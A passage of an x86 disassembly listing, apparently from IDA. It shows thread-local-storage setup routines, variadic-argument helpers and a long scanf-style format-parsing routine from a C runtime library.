loc_4258E9:				; CODE XREF: sub_4258D3+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_42586D
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_425907
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_4258E9


loc_425907:				; CODE XREF: sub_4258D3+Cj
					; sub_4258D3+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4258D3	endp


; =============== S U B	R O U T	I N E =======================================



sub_42590B	proc near		; CODE XREF: sub_42512C+E5p
					; sub_42512C+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_42590B	endp


; =============== S U B	R O U T	I N E =======================================



sub_425918	proc near		; CODE XREF: sub_42512C+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_425918	endp


; =============== S U B	R O U T	I N E =======================================



sub_425928	proc near		; CODE XREF: sub_42512C+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_425928	endp


; =============== S U B	R O U T	I N E =======================================



sub_425936	proc near		; CODE XREF: .text:loc_424F2Ep
		push	esi
		call	sub_42840D
		call	dword_42F1E4	; TlsAlloc
		cmp	eax, 0FFFFFFFFh
		mov	dword_4496C0, eax
		jz	short loc_425986
		push	74h
		push	1
		call	sub_423F63
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_425986
		push	esi
		push	dword_4496C0
		call	dword_42F1E8	; TlsSetValue
		test	eax, eax
		jz	short loc_425986
		push	esi
		call	sub_42598A
		pop	ecx
		call	dword_42F21C	; GetCurrentThreadId
		or	dword ptr [esi+4], 0FFFFFFFFh
		push	1
		mov	[esi], eax
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_425986:				; CODE XREF: sub_425936+14j
					; sub_425936+25j ...
		xor	eax, eax
		pop	esi
		retn
sub_425936	endp


; =============== S U B	R O U T	I N E =======================================



sub_42598A	proc near		; CODE XREF: sub_425936+39p
					; sub_42599D+3Fp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword ptr [eax+50h], offset dword_44BEB0
		mov	dword ptr [eax+14h], 1
		retn
sub_42598A	endp


; =============== S U B	R O U T	I N E =======================================



sub_42599D	proc near		; CODE XREF: sub_4220EFp sub_4220FCp ...
		push	esi
		push	edi
		call	dword_42F068	; RtlGetLastWin32Error
		push	dword_4496C0
		mov	edi, eax
		call	dword_42F1DC	; TlsGetValue
		mov	esi, eax
		test	esi, esi
		jnz	short loc_4259F8
		push	74h
		push	1
		call	sub_423F63
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4259F0
		push	esi
		push	dword_4496C0
		call	dword_42F1E8	; TlsSetValue
		test	eax, eax
		jz	short loc_4259F0
		push	esi
		call	sub_42598A
		pop	ecx
		call	dword_42F21C	; GetCurrentThreadId
		or	dword ptr [esi+4], 0FFFFFFFFh
		mov	[esi], eax
		jmp	short loc_4259F8
; ---------------------------------------------------------------------------


loc_4259F0:				; CODE XREF: sub_42599D+2Bj
					; sub_42599D+3Cj
		push	10h
		call	sub_424FCB
		pop	ecx


loc_4259F8:				; CODE XREF: sub_42599D+1Aj
					; sub_42599D+51j
		push	edi
		call	dword_42F1E0	; RtlSetLastWin32Error
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_42599D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425A04	proc near		; CODE XREF: sub_422725+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_42640A
		mov	edi, [ebp+arg_0]
		jmp	short loc_425A33
; ---------------------------------------------------------------------------


loc_425A2E:				; CODE XREF: sub_425A04+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx


loc_425A33:				; CODE XREF: sub_425A04+28j
		cmp	dword_449A44, 1
		jle	short loc_425A4B
		movzx	eax, al
		push	8
		push	eax
		call	sub_42653A
		pop	ecx
		pop	ecx
		jmp	short loc_425A5A
; ---------------------------------------------------------------------------


loc_425A4B:				; CODE XREF: sub_425A04+36j
		mov	ecx, off_449838
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_425A5A:				; CODE XREF: sub_425A04+45j
		cmp	eax, ebx
		jz	short loc_425A94
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_426491
		pop	ecx
		pop	ecx
		push	eax
		call	sub_42647A
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_423378
		add	esp, 0Ch


loc_425A82:				; CODE XREF: sub_425A04+8Ej
		test	eax, eax
		jz	short loc_425A94
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_423378
		pop	ecx
		jmp	short loc_425A82
; ---------------------------------------------------------------------------


loc_425A94:				; CODE XREF: sub_425A04+58j
					; sub_425A04+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_426376
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx


loc_425ACB:				; CODE XREF: sub_425A04+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	dword_449A44, 1
		jle	short loc_425AE8
		movzx	eax, bl
		push	4
		push	eax
		call	sub_42653A
		pop	ecx
		pop	ecx
		jmp	short loc_425AF7
; ---------------------------------------------------------------------------


loc_425AE8:				; CODE XREF: sub_425A04+D3j
		mov	ecx, off_449838
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_425AF7:				; CODE XREF: sub_425A04+E2j
		test	eax, eax
		jz	short loc_425B0D
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_425B72
; ---------------------------------------------------------------------------


loc_425B0D:				; CODE XREF: sub_425A04+F5j
		cmp	ebx, 4Eh
		jg	short loc_425B50
		jz	short loc_425B72
		cmp	ebx, 2Ah
		jz	short loc_425B4B
		cmp	ebx, 46h
		jz	short loc_425B72
		cmp	ebx, 49h
		jz	short loc_425B2D
		cmp	ebx, 4Ch
		jnz	short loc_425B5F
		inc	[ebp+var_D]
		jmp	short loc_425B72
; ---------------------------------------------------------------------------


loc_425B2D:				; CODE XREF: sub_425A04+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_425B5F
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_425B5F
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_425B72
; ---------------------------------------------------------------------------


loc_425B4B:				; CODE XREF: sub_425A04+113j
		inc	[ebp+var_E]
		jmp	short loc_425B72
; ---------------------------------------------------------------------------


loc_425B50:				; CODE XREF: sub_425A04+10Cj
		cmp	ebx, 68h
		jz	short loc_425B6C
		cmp	ebx, 6Ch
		jz	short loc_425B64
		cmp	ebx, 77h
		jz	short loc_425B67


loc_425B5F:				; CODE XREF: sub_425A04+122j
					; sub_425A04+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_425B72
; ---------------------------------------------------------------------------


loc_425B64:				; CODE XREF: sub_425A04+154j
		inc	[ebp+var_D]


loc_425B67:				; CODE XREF: sub_425A04+159j
		inc	[ebp+var_5]
		jmp	short loc_425B72
; ---------------------------------------------------------------------------


loc_425B6C:				; CODE XREF: sub_425A04+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]


loc_425B72:				; CODE XREF: sub_425A04+107j
					; sub_425A04+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_425ACB
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_425B97
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax


loc_425B97:				; CODE XREF: sub_425A04+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_425BB5
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_425BB1
		cmp	al, 43h
		jz	short loc_425BB1
		or	[ebp+var_5], 0FFh
		jmp	short loc_425BB5
; ---------------------------------------------------------------------------


loc_425BB1:				; CODE XREF: sub_425A04+1A1j
					; sub_425A04+1A5j
		mov	[ebp+var_5], 1


loc_425BB5:				; CODE XREF: sub_425A04+19Bj
					; sub_425A04+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_425BEE
		cmp	esi, 63h
		jz	short loc_425BDF
		cmp	esi, 7Bh
		jz	short loc_425BDF
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_426491
		pop	ecx
		jmp	short loc_425BEA
; ---------------------------------------------------------------------------


loc_425BDF:				; CODE XREF: sub_425A04+1C5j
					; sub_425A04+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_426460


loc_425BEA:				; CODE XREF: sub_425A04+1D9j
		pop	ecx
		mov	[ebp+var_14], eax


loc_425BEE:				; CODE XREF: sub_425A04+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_425BFE
		cmp	[ebp+var_C], eax
		jz	loc_4263DA


loc_425BFE:				; CODE XREF: sub_425A04+1EFj
		cmp	esi, 6Fh
		jg	loc_425E65
		jz	loc_426117
		cmp	esi, 63h
		jz	loc_425E42
		cmp	esi, 64h
		jz	loc_426117
		jle	loc_425E8F
		cmp	esi, 67h
		jle	short loc_425C62
		cmp	esi, 69h
		jz	short loc_425C4A
		cmp	esi, 6Eh
		jnz	loc_425E8F
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_426345
		jmp	loc_42636B
; ---------------------------------------------------------------------------


loc_425C4A:				; CODE XREF: sub_425A04+229j
		push	64h
		pop	esi


loc_425C4D:				; CODE XREF: sub_425A04+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_425ED7
		mov	[ebp+var_17], 1
		jmp	loc_425EDC
; ---------------------------------------------------------------------------


loc_425C62:				; CODE XREF: sub_425A04+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_425C7E
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_425C83
; ---------------------------------------------------------------------------


loc_425C7E:				; CODE XREF: sub_425A04+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_425C9A


loc_425C83:				; CODE XREF: sub_425A04+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_426460
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_425C9D
; ---------------------------------------------------------------------------


loc_425C9A:				; CODE XREF: sub_425A04+27Dj
		mov	edi, [ebp+arg_0]


loc_425C9D:				; CODE XREF: sub_425A04+294j
		cmp	[ebp+var_20], 0
		jz	short loc_425CAC
		cmp	[ebp+var_C], 15Dh
		jle	short loc_425CB3


loc_425CAC:				; CODE XREF: sub_425A04+29Dj
		mov	[ebp+var_C], 15Dh


loc_425CB3:				; CODE XREF: sub_425A04+2A6j
					; sub_425A04+2F2j
		cmp	dword_449A44, 1
		jle	short loc_425CC8
		push	4
		push	ebx
		call	sub_42653A
		pop	ecx
		pop	ecx
		jmp	short loc_425CD3
; ---------------------------------------------------------------------------


loc_425CC8:				; CODE XREF: sub_425A04+2B6j
		mov	eax, off_449838
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_425CD3:				; CODE XREF: sub_425A04+2C2j
		test	eax, eax
		jz	short loc_425CF8
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_425CF8
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_426460
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_425CB3
; ---------------------------------------------------------------------------


loc_425CF8:				; CODE XREF: sub_425A04+2D1j
					; sub_425A04+2DBj
		cmp	byte_449A48, bl
		jnz	short loc_425D66
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_425D66
		inc	[ebp+var_4]
		push	edi
		call	sub_426460
		mov	ebx, eax
		mov	al, byte_449A48
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi


loc_425D21:				; CODE XREF: sub_425A04+360j
		cmp	dword_449A44, 1
		jle	short loc_425D36
		push	4
		push	ebx
		call	sub_42653A
		pop	ecx
		pop	ecx
		jmp	short loc_425D41
; ---------------------------------------------------------------------------


loc_425D36:				; CODE XREF: sub_425A04+324j
		mov	eax, off_449838
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_425D41:				; CODE XREF: sub_425A04+330j
		test	eax, eax
		jz	short loc_425D66
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_425D66
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_426460
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_425D21
; ---------------------------------------------------------------------------


loc_425D66:				; CODE XREF: sub_425A04+2FAj
					; sub_425A04+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_425DFE
		cmp	ebx, 65h
		jz	short loc_425D7E
		cmp	ebx, 45h
		jnz	loc_425DFE


loc_425D7E:				; CODE XREF: sub_425A04+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_425DFE
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_426460
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_425DA5
		mov	[esi], al
		inc	esi
		jmp	short loc_425DAA
; ---------------------------------------------------------------------------


loc_425DA5:				; CODE XREF: sub_425A04+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_425DC8


loc_425DAA:				; CODE XREF: sub_425A04+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_425DB9
		and	[ebp+var_C], eax
		jmp	short loc_425DC8
; ---------------------------------------------------------------------------


loc_425DB9:				; CODE XREF: sub_425A04+3AEj
					; sub_425A04+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_426460
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_425DC8:				; CODE XREF: sub_425A04+3A4j
					; sub_425A04+3B3j
		cmp	dword_449A44, 1
		jle	short loc_425DDD
		push	4
		push	ebx
		call	sub_42653A
		pop	ecx
		pop	ecx
		jmp	short loc_425DE8
; ---------------------------------------------------------------------------


loc_425DDD:				; CODE XREF: sub_425A04+3CBj
		mov	eax, off_449838
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_425DE8:				; CODE XREF: sub_425A04+3D7j
		test	eax, eax
		jz	short loc_425DFE
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_425DFE
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_425DB9
; ---------------------------------------------------------------------------


loc_425DFE:				; CODE XREF: sub_425A04+366j
					; sub_425A04+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_42647A
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_42640A
		cmp	[ebp+var_E], 0
		jnz	loc_42636B
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	off_44BB68
		add	esp, 0Ch
		jmp	loc_42636B
; ---------------------------------------------------------------------------


loc_425E42:				; CODE XREF: sub_425A04+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_425E51
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1


loc_425E51:				; CODE XREF: sub_425A04+441j
		cmp	[ebp+var_5], 0
		jle	short loc_425E5B
		mov	[ebp+var_16], 1


loc_425E5B:				; CODE XREF: sub_425A04+451j
		mov	edi, offset dword_4496CC
		jmp	loc_425F70
; ---------------------------------------------------------------------------


loc_425E65:				; CODE XREF: sub_425A04+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_426113
		sub	eax, 3
		jz	loc_425F61
		dec	eax
		dec	eax
		jz	loc_426117
		sub	eax, 3
		jz	loc_425C4D
		sub	eax, 3
		jz	short loc_425EB3


loc_425E8F:				; CODE XREF: sub_425A04+21Bj
					; sub_425A04+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_4263DA
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_42636B
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_42636B
; ---------------------------------------------------------------------------


loc_425EB3:				; CODE XREF: sub_425A04+489j
		cmp	[ebp+var_5], 0
		jle	short loc_425EBD
		mov	[ebp+var_16], 1


loc_425EBD:				; CODE XREF: sub_425A04+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_425F74
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_425F70
; ---------------------------------------------------------------------------


loc_425ED7:				; CODE XREF: sub_425A04+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_425EFE


loc_425EDC:				; CODE XREF: sub_425A04+259j
		dec	[ebp+var_C]
		jnz	short loc_425EED
		cmp	[ebp+var_20], 0
		jz	short loc_425EED
		mov	[ebp+var_F], 1
		jmp	short loc_425EFE
; ---------------------------------------------------------------------------


loc_425EED:				; CODE XREF: sub_425A04+4DBj
					; sub_425A04+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_426460
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_425EFE:				; CODE XREF: sub_425A04+4D6j
					; sub_425A04+4E7j
		cmp	ebx, 30h
		jnz	loc_42614C
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_426460
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_425F4C
		cmp	bl, 58h
		jz	short loc_425F4C
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_425F36
		push	6Fh


loc_425F30:				; CODE XREF: sub_425A04+55Bj
		pop	esi
		jmp	loc_42614C
; ---------------------------------------------------------------------------


loc_425F36:				; CODE XREF: sub_425A04+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_42647A
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_426149
; ---------------------------------------------------------------------------


loc_425F4C:				; CODE XREF: sub_425A04+517j
					; sub_425A04+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_426460
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_425F30
; ---------------------------------------------------------------------------


loc_425F61:				; CODE XREF: sub_425A04+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_425F6B
		mov	[ebp+var_16], 1


loc_425F6B:				; CODE XREF: sub_425A04+561j
		mov	edi, offset dword_4496C4


loc_425F70:				; CODE XREF: sub_425A04+45Cj
					; sub_425A04+4CEj
		or	[ebp+var_18], 0FFh


loc_425F74:				; CODE XREF: sub_425A04+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_4221F0
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_425F98
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_425F98
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_425F9B
; ---------------------------------------------------------------------------


loc_425F98:				; CODE XREF: sub_425A04+584j
					; sub_425A04+589j
		mov	dl, [ebp+var_35]


loc_425F9B:				; CODE XREF: sub_425A04+592j
					; sub_425A04+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_426000
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_425FE7
		test	dl, dl
		jz	short loc_425FE7
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_425FE7
		inc	edi
		cmp	dl, cl
		jnb	short loc_425FBA
		mov	al, cl
		jmp	short loc_425FBE
; ---------------------------------------------------------------------------


loc_425FBA:				; CODE XREF: sub_425A04+5B0j
		mov	al, dl
		mov	dl, cl


loc_425FBE:				; CODE XREF: sub_425A04+5B4j
		cmp	dl, al
		ja	short loc_425FE3
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi


loc_425FCB:				; CODE XREF: sub_425A04+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_425FCB


loc_425FE3:				; CODE XREF: sub_425A04+5BCj
		xor	dl, dl
		jmp	short loc_425F9B
; ---------------------------------------------------------------------------


loc_425FE7:				; CODE XREF: sub_425A04+5A0j
					; sub_425A04+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_425F9B
; ---------------------------------------------------------------------------


loc_426000:				; CODE XREF: sub_425A04+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_42640A
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_426012
		mov	[ebp+arg_4], edi


loc_426012:				; CODE XREF: sub_425A04+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_42647A
		pop	ecx
		pop	ecx


loc_426029:				; CODE XREF: sub_425A04+6BCj
					; sub_425A04+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_42603D
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_4260D9


loc_42603D:				; CODE XREF: sub_425A04+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_426460
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_4260CD
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_4260CD
		cmp	[ebp+var_E], 0
		jnz	short loc_4260C5
		cmp	[ebp+var_16], 0
		jz	short loc_4260BA
		mov	ecx, off_449838
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_426099
		inc	[ebp+var_4]
		push	edi
		call	sub_426460
		pop	ecx
		mov	[ebp+var_37], al


loc_426099:				; CODE XREF: sub_425A04+686j
		push	dword_449A44
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_42B920
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_4260BD
; ---------------------------------------------------------------------------


loc_4260BA:				; CODE XREF: sub_425A04+673j
		mov	[esi], al
		inc	esi


loc_4260BD:				; CODE XREF: sub_425A04+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_426029
; ---------------------------------------------------------------------------


loc_4260C5:				; CODE XREF: sub_425A04+66Dj
		inc	[ebp+var_30]
		jmp	loc_426029
; ---------------------------------------------------------------------------


loc_4260CD:				; CODE XREF: sub_425A04+649j
					; sub_425A04+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_42647A
		pop	ecx
		pop	ecx


loc_4260D9:				; CODE XREF: sub_425A04+633j
		cmp	[ebp+var_30], esi
		jz	loc_42640A
		cmp	[ebp+var_E], 0
		jnz	loc_42636B
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_42636B
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_42610B
		and	word ptr [eax],	0
		jmp	loc_42636B
; ---------------------------------------------------------------------------


loc_42610B:				; CODE XREF: sub_425A04+6FCj
		and	byte ptr [eax],	0
		jmp	loc_42636B
; ---------------------------------------------------------------------------


loc_426113:				; CODE XREF: sub_425A04+466j
		mov	[ebp+var_D], 1


loc_426117:				; CODE XREF: sub_425A04+203j
					; sub_425A04+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_426125
		mov	[ebp+var_17], 1
		jmp	short loc_42612A
; ---------------------------------------------------------------------------


loc_426125:				; CODE XREF: sub_425A04+719j
		cmp	ebx, 2Bh
		jnz	short loc_42614C


loc_42612A:				; CODE XREF: sub_425A04+71Fj
		dec	[ebp+var_C]
		jnz	short loc_42613B
		cmp	[ebp+var_20], 0
		jz	short loc_42613B
		mov	[ebp+var_F], 1
		jmp	short loc_42614C
; ---------------------------------------------------------------------------


loc_42613B:				; CODE XREF: sub_425A04+729j
					; sub_425A04+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_426460
		pop	ecx
		mov	ebx, eax


loc_426149:				; CODE XREF: sub_425A04+543j
		mov	[ebp+var_14], ebx


loc_42614C:				; CODE XREF: sub_425A04+4FDj
					; sub_425A04+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_426265
		cmp	[ebp+var_F], 0
		jnz	loc_426243


loc_426160:				; CODE XREF: sub_425A04+82Cj
		cmp	esi, 78h
		jnz	short loc_4261B4
		cmp	dword_449A44, 1
		jle	short loc_42617D
		push	80h
		push	ebx
		call	sub_42653A
		pop	ecx
		pop	ecx
		jmp	short loc_42618A
; ---------------------------------------------------------------------------


loc_42617D:				; CODE XREF: sub_425A04+768j
		mov	eax, off_449838
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_42618A:				; CODE XREF: sub_425A04+777j
		test	eax, eax
		jz	loc_426235
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_42BA50
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_426429
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_426207
; ---------------------------------------------------------------------------


loc_4261B4:				; CODE XREF: sub_425A04+75Fj
		cmp	dword_449A44, 1
		jle	short loc_4261C9
		push	4
		push	ebx
		call	sub_42653A
		pop	ecx
		pop	ecx
		jmp	short loc_4261D4
; ---------------------------------------------------------------------------


loc_4261C9:				; CODE XREF: sub_425A04+7B7j
		mov	eax, off_449838
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_4261D4:				; CODE XREF: sub_425A04+7C3j
		test	eax, eax
		jz	short loc_426235
		cmp	esi, 6Fh
		jnz	short loc_4261F2
		cmp	ebx, 38h
		jge	short loc_426235
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_42BA50
		jmp	short loc_426201
; ---------------------------------------------------------------------------


loc_4261F2:				; CODE XREF: sub_425A04+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
